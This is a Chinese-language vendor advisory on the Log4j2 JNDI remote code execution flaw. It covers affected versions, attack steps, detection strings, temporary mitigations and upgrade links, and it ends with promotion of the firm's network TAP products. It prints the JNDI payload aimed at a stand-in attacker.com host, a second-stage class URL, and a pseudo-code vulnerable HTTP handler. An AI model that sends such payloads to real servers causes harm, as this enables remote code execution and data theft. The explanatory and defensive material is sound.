Log4j2 远程代码执行漏洞分析与防御 |光利达

12月9日,工业和信息化部网络安全威胁和漏洞信息共享平台收到有关网络安全专业机构报告,阿帕奇Log4j2组件存在严重安全漏洞。工业和信息化部立即组织有关网络安全专业机构开展漏洞风险分析,召集阿里云、网络安全企业、网络安全专业机构等开展研判,通报督促阿帕奇软件基金会及时修补该漏洞,向行业单位进行风险预警。该漏洞可能导致设备远程受控,进而引发敏感信息窃取、设备服务中断等严重危害,属于高危漏洞。

一、漏洞概述

Apache Log4j是一个基于Java的日志记录工具,Log4j 2是Log4j的升级产品。Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,原因是该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。漏洞PoC已在网上公开,默认配置即可进行利用,该漏洞影响范围极广,光利达建议相关用户尽快采取措施进行排查与防护。

二、影响范围

      Apache Struts2、Apache Solr、Apache Druid、Apache Flink、spring-boot-strater-log4j2等众多组件与大型应用均受影响。更多组件可参考如下链接:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
      受影响版本

  • 2.0 <= Apache Log4j <= 2.15.0-rc1
      不受影响版本
  • Apache log4j-2.15.0-rc2(与官网的2.15.0稳定版相同)

 三、log4j2漏洞攻击原理

       log4j2漏洞攻击原理图

四、攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行恶意脚本。
       根据下面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}
 

五、漏洞检测和攻击检测

        5.1人工检测

         1、相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。
 
         2、若程序使用Maven打包,查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.0-rc2,则存在该漏洞。

      3、若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0-rc2,则存在该漏洞。

5.2攻击检测

攻击者在攻击过程中可能使用DNSLog进行漏洞探测,然后在发送的数据包请求中存在“jndi:ldap://”、“jndi:rmi”字样。我们可以通过流量监测设备实时监控,对dnslog相关域名访问进行检测。但为了提高系统监测效率和实时性,可通过OPlead(光利达)网络分路器过滤出所有网络访问POST和GET请求,从而实现在线安全检测系统高效率的对网络流量进行有针对性的阻断。
    
                   ( 光利达网络分路器截图 )

六、漏洞修复

        6.1临时性防护措施

         若用户暂时无法进行升级操作,可先用下列措施进行临时缓解:(任选一种)
  • 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true

  • 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

  • 创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”

    6.2版本升级(升级到安全版本)

    目前官方已发布log4j-2.15.0-rc2测试版本与apache-log4j-2.15.0稳定版修复该漏洞,受影响用户可先将Apache Log4j2所有相关应用到以上版本,建议用户在备份数据后再进行升级。下载链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2或https://logging.apache.org/log4j/2.x/download.html

北京光利达科技长久以来聚焦在网络安全体系中的采集阶段(网络流量采集部分),包括千兆TAP网络分路器、万兆TAP网络分路器、40GTAP网络分路器、100GTAP网络分路器等产品,对接各安全监控系统。旨在于把光利达TAP网络分路器产品做精做强,与全行业协作式整合,共建网络安全新生态,共同努力推动互联网安全高质量发展。